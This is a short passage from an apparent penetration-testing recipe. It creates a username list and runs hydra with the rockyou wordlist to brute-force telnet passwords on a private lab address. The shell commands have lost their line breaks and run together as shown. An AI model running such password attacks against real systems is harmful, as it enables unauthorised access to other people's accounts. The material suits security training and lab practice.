In this recipe we will try and crack telnet passwords based on known or potential username list:
- Open a terminal window in Kali by clicking the icon.
- We will use a hydra to hunt for passwords using a wordlist along with a predefined set of usernames. Let's build our name list:
cd touch usernames2 echo 'kiddoe' >> usernames2 echo 'janedoe' >> usernames2 echo 'johndoe' >> usernames2
- Now let's run hydra using our username list and wordlist. You will notice that this does take some time but ultimately you will get the passwords:
hydra -L ~/usernames2 -P /usr/share/wordlists/rockyou.txt telnet://192.168.56.104 ...